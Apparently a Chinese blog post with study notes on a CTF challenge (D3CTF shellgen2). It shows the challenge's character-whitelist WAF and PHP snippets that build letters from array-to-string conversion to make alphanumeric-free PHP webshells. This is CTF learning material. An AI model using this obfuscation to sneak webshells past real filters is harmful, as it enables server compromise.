D3CTF shellgen2 对无字母数字phpshell的学习

原题waf

def waf(phpshell):
    if not phpshell.startswith(b'<?php'):
        return True
    phpshell = phpshell[6:]
    for c in phpshell:
        if c not in b'0-9$_;+[].=<?>':
            return True
        else:
            print(chr(c), end='')
    return False

能用的为数字0 9和一些字符

开始测试
测试如下代码

<?php
//error_reporting(0);
highlight_file(__FILE__);
$_=[[]];
echo($_);//Array
$_=[[]][0];
echo($_);//Array
$_=[[]][0][0];
echo($_);//无回显
$_=[[].[]][0];
echo($_);//ArrayArray
$_=[[].[]][0][0];
echo($_);//A
$_++;
echo($_);//B
//新建一个$_变量
$_;//此时$_为null
$_++;
echo($_);//1
?>

原因是在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
由此可见,只要可以用[ ] . $_就可以构造出任意字符

关于题目
题目对shell长度有限制
所以学到了技巧

a = "${}=[[].[].[].[]][0][9+9];"

r = "${}=[[].[]][0][0==0];"

y = "${}=[[].[]][0][9];"

参考来自https://blog.csdn.net/qq_38677814/article/details/115037481

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值